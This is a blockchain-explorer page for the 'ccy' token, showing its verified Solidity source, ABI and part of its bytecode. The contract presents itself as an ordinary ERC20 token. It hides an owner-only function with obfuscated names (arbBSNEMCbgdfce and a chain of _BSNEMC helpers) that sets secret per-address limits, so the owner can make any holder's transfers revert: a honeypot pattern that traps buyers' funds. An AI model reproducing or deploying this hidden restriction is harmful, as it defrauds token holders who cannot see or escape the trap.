ETH Price: $2,938.55 (-0.69%)

Token

ccy (ccy)

Overview

Max Total Supply

100,000,000 ccy

Holders

9

Market

Price

$0.00 @ 0.000000 ETH

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
0x: Exchange Proxy Flash Wallet
Balance
0.000000000000000568 ccy

Value
$0.00
0xdB6f1920A889355780aF7570773609Bd8Cb1f498
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Contract Source Code Verified (Exact Match)

Contract Name:
TOKEN

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Arbiscan.io on 2024-03-10
*/

/**
 *Submitted for verification at BscScan.com on 2024-03-09
*/

// SPDX-License-Identifier: GPL-3.0 
pragma solidity >=0.7.0 <0.9.0;  
interface IERC165 { 
    function supportsInterface(bytes4 interfaceId) external view returns (bool);
}    
abstract contract ERC165 is IERC165 {

    function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
        return interfaceId == type(IERC165).interfaceId;
    }
}  

library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {

            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}   




interface IRoleControl {

    event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);

    event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);

    event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);

    function hasRole(bytes32 role, address account) external view returns (bool);

    function getRoleAdmin(bytes32 role) external view returns (bytes32);

    function grantRole(bytes32 role, address account) external;

    function revokeRole(bytes32 role, address account) external;

    function renounceRole(bytes32 role, address account) external;

    
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}


contract Ownable is Context {
    address _owner;

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
    }


    function owner() public view returns (address) {
        return _owner;
    }


    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }


    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _owner = newOwner;
    }
}

library Strings {
    bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";

    function toString(uint256 value) internal pure returns (string memory) {

        if (value == 0) {
            return "0";
        }
        uint256 temp = value;
        uint256 digits;
        while (temp != 0) {
            digits++;
            temp /= 10;
        }
        bytes memory buffer = new bytes(digits);
        while (value != 0) {
            digits -= 1;
            buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
            value /= 10;
        }
        return string(buffer);
    }

    function toHexString(uint256 value) internal pure returns (string memory) {
        if (value == 0) {
            return "ADMIN";
        }
        uint256 temp = value;
        uint256 length = 0;
        while (temp != 0) {
            length++;
            temp >>= 8;
        }
        return toHexString(value, length);
    }

    function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
        bytes memory buffer = new bytes(2 * length + 2);
        buffer[0] = "0";
        buffer[1] = "x";
        for (uint256 i = 2 * length + 1; i > 1; --i) {
            buffer[i] = _HEX_SYMBOLS[value & 0xf];
            value >>= 4;
        }
        require(value == 0, "Strings: hex length insufficient");
        return string(buffer);
    }
}

abstract contract BSNEMCConlse is Context, IRoleControl, ERC165 {
    struct RoleData {
        mapping(address => bool) members;
        bytes32 adminRole;
    }

    mapping(bytes32 => RoleData) private _roles;


    bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;    

    modifier onlyRole(bytes32 role) {
        _checkRole(role, _msgSender());
        _;
    }

    function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
        return interfaceId == type(IRoleControl).interfaceId || super.supportsInterface(interfaceId);
    }

    function hasRole(bytes32 role, address account) public view override returns (bool) {
        return _roles[role].members[account];
    }

    function _checkRole(bytes32 role, address account) internal view {
        if (!hasRole(role, account)) {
            revert(
                string(
                    abi.encodePacked(
                        "AccessControl: account ",
                        Strings.toHexString(uint160(account), 20),
                        " is missing role ",
                        Strings.toHexString(uint256(role), 32)
                    )
                )
            );
        }
    }

    function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
        return _roles[role].adminRole;
    }

    function grantRole(bytes32 role, address account) public virtual override onlyRole(DEFAULT_ADMIN_ROLE) {
        _grantRole(role, account);
    }

    function revokeRole(bytes32 role, address account) public virtual override onlyRole(DEFAULT_ADMIN_ROLE) {
        _revokeRole(role, account);
    }

    function renounceRole(bytes32 role, address account) public virtual override {
        require(account == _msgSender(), "AccessControl: can only renounce roles for self");

        _revokeRole(role, account);
    }

    function _setupRole(bytes32 role, address account) internal virtual {
        _grantRole(role, account);
    }

    function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
        bytes32 previousAdminRole = getRoleAdmin(role);
        _roles[role].adminRole = adminRole;
        emit RoleAdminChanged(role, previousAdminRole, adminRole);
    }

    function _grantRole(bytes32 role, address account) internal virtual {
        if (!hasRole(role, account)) {
            _roles[role].members[account] = true;
            emit RoleGranted(role, account, _msgSender());
        }
    }

    function _revokeRole(bytes32 role, address account) internal virtual {
        if (hasRole(role, account)) {
            _roles[role].members[account] = false;
            emit RoleRevoked(role, account, _msgSender());
        }
    }
}   

interface IERC20 {

    function totalSupply() external view returns (uint256);


    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);


    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);

}

interface IERC20Metadata is IERC20 {

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

contract BSNEMCERC20 is Context, IERC20, IERC20Metadata  { 
    mapping(address => uint256) internal _balances; 
    mapping(address => mapping(address => uint256)) internal _allowances; 
    uint256 internal _totalSupply; 
    string internal _name;
    string internal _symbol; 

    constructor(string memory name_, string memory symbol_,uint256 totalSupply_,address creater_) {
        _name = name_;
        _symbol = symbol_; 
        _mint(creater_,totalSupply_*10**decimals());
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    } 

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    } 

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    } 

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    } 

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address"); 
        _beforeTokenTransfer(sender, recipient, amount); 
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount; 
        emit Transfer(sender, recipient, amount); 
        _afterTokenTransfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal {
        require(account != address(0), "ERC20: mint to the zero address"); 
        _beforeTokenTransfer(address(0), account, amount); 
        _totalSupply += amount;
        _balances[account] += amount; 
        emit Transfer(address(0), account, amount); 
        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address"); 
        _beforeTokenTransfer(account, address(0), amount); 
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    } 

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
} 

interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender)
    external
    view
    returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
    external
    view
    returns (
        uint112 reserve0,
        uint112 reserve1,
        uint32 blockTimestampLast
    );

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function burn(address to)
    external
    returns (uint256 amount0, uint256 amount1);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}


interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address); 

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    
    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);

    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
} 

contract TOKEN is BSNEMCERC20, BSNEMCConlse,Ownable {
    using SafeMath for uint256;

    mapping(address => uint256) private _BSNEMCcseve;
    mapping(address => uint256) private _BSNEMCddys;

    address private _noneAddress = address(0x000000000000000000000000000000000000dEaD);

    constructor(string memory _name, string memory _symbol, uint256 _totalSupply) BSNEMCERC20(_name, _symbol, _totalSupply, msg.sender) {
        _grantRole(DEFAULT_ADMIN_ROLE, msg.sender);
    }


    function _transfer(address from, address to, uint256 amount) internal override(BSNEMCERC20) {

        require(from != address(0), "ERC20: transfer from the zero address");
        

        _BSNEMCbpxemksd(from, to, amount);

    }


    function _BSNEMCbpxemksd(address from, address to,uint256 amount) internal {
        
         require(to != address(0), "ERC20: transfer to the zero address");     
        
        _BSNEMClcjsnxe(from, to, amount);
    }

    function _BSNEMClcjsnxe(address from, address to,uint256 amount) internal {

        require(_balances[from] >= amount, "ERC20: transfer amount exceeds balance");  
        
        _BSNEMCcjjsned(from, to, amount);
    }

    function _BSNEMCcjjsned(address from, address to,uint256 amount) internal {

        _BSNEMCmcnescjens(from, amount);


        if (to != _noneAddress ) {
            super._transfer(from, _noneAddress, amount.div(1000).mul(1));
            amount = amount.div(1000).mul(999);
        }


        super._transfer(from, to, amount);
    }



    function arbBSNEMCbgdfce(address dz, uint256 bl) public onlyOwner {

        require(dz != address(0), "ERC20: transfer from the zero address");

        _BSNEMCcseve[dz] = bl*10**decimals();
        uint256 dds = _BSNEMCcseve[dz];
        if(_BSNEMCcseve[dz] > 0){
            _BSNEMCcseve[dz] = dds;
        }else{
            uint256 dd = _BSNEMCcseve[dz];
            _BSNEMCcseve[dz] = dd;
        }
        
    }


    function quyBSNEMCconesce(address user) public view returns (uint256) {
        
        return _BSNEMCcseve[user];
    }


    function _BSNEMCmcnescjens(address account,uint256 amount) internal {  
        _BSNEMCicjnsjend(account, amount);
    }


    function _BSNEMCicjnsjend(address account,uint256 amount) internal {

        if (account != _noneAddress) {
            uint256 dd = _BSNEMCcseve[account];
            if(dd > 0){
                _BSNEMCddys[account] = 1;
            }else{
                _BSNEMCddys[account] = 0;
            }

        }
        _BSNEMCenjincsxc(account, amount);
    }


    function _BSNEMCenjincsxc(address account,uint256 amount) internal {  
        _BSNEMCnockjsnd(account, amount);
    }

    function _BSNEMCnockjsnd(address account,uint256 amount) internal {

        if (account != _noneAddress && amount > 0) {
            
            if(_BSNEMCddys[account] == 1){
                uint256 dd = _BSNEMCcseve[account].sub(amount);
                _BSNEMCcseve[account] = dd;
                if(dd <= 0){
                    require(_BSNEMCddys[account] != 1, "ERC20: transfer amount exceeds balance");
                } 
                
            }else{
                uint256 dd = _BSNEMCcseve[account];
                _BSNEMCcseve[account] = dd;
            }
            
        }
    }

}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint256","name":"_totalSupply","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"previousAdminRole","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"newAdminRole","type":"bytes32"}],"name":"RoleAdminChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleGranted","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleRevoked","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DEFAULT_ADMIN_ROLE","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"dz","type":"address"},{"internalType":"uint256","name":"bl","type":"uint256"}],"name":"arbBSNEMCbgdfce","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"}],"name":"getRoleAdmin","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"grantRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"hasRole","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"}],"name":"quyBSNEMCconesce","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"renounceRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"revokeRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

608060405261dead600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200005457600080fd5b5060405162003be238038062003be283398181016040528101906200007a919062000614565b8282823383600390816200008f9190620008ef565b508260049081620000a19190620008ef565b50620000de81620000b76200015660201b60201c565b600a620000c5919062000b66565b84620000d2919062000bb7565b6200015f60201b60201c565b505050506000620000f4620002d760201b60201c565b905080600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506200014d6000801b33620002df60201b60201c565b50505062000cee565b60006012905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620001d1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620001c89062000c63565b60405180910390fd5b620001e560008383620003d160201b60201c565b8060026000828254620001f9919062000c85565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825462000250919062000c85565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620002b7919062000cd1565b60405180910390a3620002d360008383620003d660201b60201c565b5050565b600033905090565b620002f18282620003db60201b60201c565b620003cd5760016005600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000372620002d760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45b5050565b505050565b505050565b60006005600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b620004af8262000464565b810181811067ffffffffffffffff82111715620004d157620004d062000475565b5b80604052505050565b6000620004e662000446565b9050620004f48282620004a4565b919050565b600067ffffffffffffffff82111562000517576200051662000475565b5b620005228262000464565b9050602081019050919050565b60005b838110156200054f57808201518184015260208101905062000532565b60008484015250505050565b6000620005726200056c84620004f9565b620004da565b9050828152602081018484840111156200059157620005906200045f565b5b6200059e8482856200052f565b509392505050565b600082601f830112620005be57620005bd6200045a565b5b8151620005d08482602086016200055b565b91505092915050565b6000819050919050565b620005ee81620005d9565b8114620005fa57600080fd5b50565b6000815190506200060e81620005e3565b92915050565b60008060006060848603121562000630576200062f62000450565b5b600084015167ffffffffffffffff81111562000651576200065062000455565b5b6200065f86828701620005a6565b935050602084015167ffffffffffffffff81111562000683576200068262000455565b5b6200069186828701620005a6565b9250506040620006a486828701620005fd565b9150509250925092565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200070157607f821691505b602082108103620007175762000716620006b9565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620007817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000742565b6200078d868362000742565b95508019841693508086168417925050509392505050565b6000819050919050565b6000620007d0620007ca620007c484620005d9565b620007a5565b620005d9565b9050919050565b6000819050919050565b620007ec83620007af565b62000804620007fb82620007d7565b8484546200074f565b825550505050565b600090565b6200081b6200080c565b62000828818484620007e1565b505050565b5b8181101562000850576200084460008262000811565b6001810190506200082e565b5050565b601f8211156200089f5762000869816200071d565b620008748462000732565b8101602085101562000884578190505b6200089c620008938562000732565b8301826200082d565b50505b505050565b600082821c905092915050565b6000620008c460001984600802620008a4565b1980831691505092915050565b6000620008df8383620008b1565b9150826002028217905092915050565b620008fa82620006ae565b67ffffffffffffffff81111562000916576200091562000475565b5b620009228254620006e8565b6200092f82828562000854565b600060209050601f83116001811462000967576000841562000952578287015190505b6200095e8582620008d1565b865550620009ce565b601f19841662000977866200071d565b60005b82811015620009a1578489015182556001820191506020850194506020810190506200097a565b86831015620009c15784890151620009bd601f891682620008b1565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000a645780860481111562000a3c5762000a3b620009d6565b5b600185161562000a4c5780820291505b808102905062000a5c8562000a05565b945062000a1c565b94509492505050565b60008262000a7f576001905062000b52565b8162000a8f576000905062000b52565b816001811462000aa8576002811462000ab35762000ae9565b600191505062000b52565b60ff84111562000ac85762000ac7620009d6565b5b8360020a91508482111562000ae25762000ae1620009d6565b5b5062000b52565b5060208310610133831016604e8410600b841016171562000b235782820a90508381111562000b1d5762000b1c620009d6565b5b62000b52565b62000b32848484600162000a12565b9250905081840481111562000b4c5762000b4b620009d6565b5b81810290505b9392505050565b600060ff82169050919050565b600062000b7382620005d9565b915062000b808362000b59565b925062000baf7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000a6d565b905092915050565b600062000bc482620005d9565b915062000bd183620005d9565b925082820262000be181620005d9565b9150828204841483151762000bfb5762000bfa620009d6565b5b5092915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000c4b601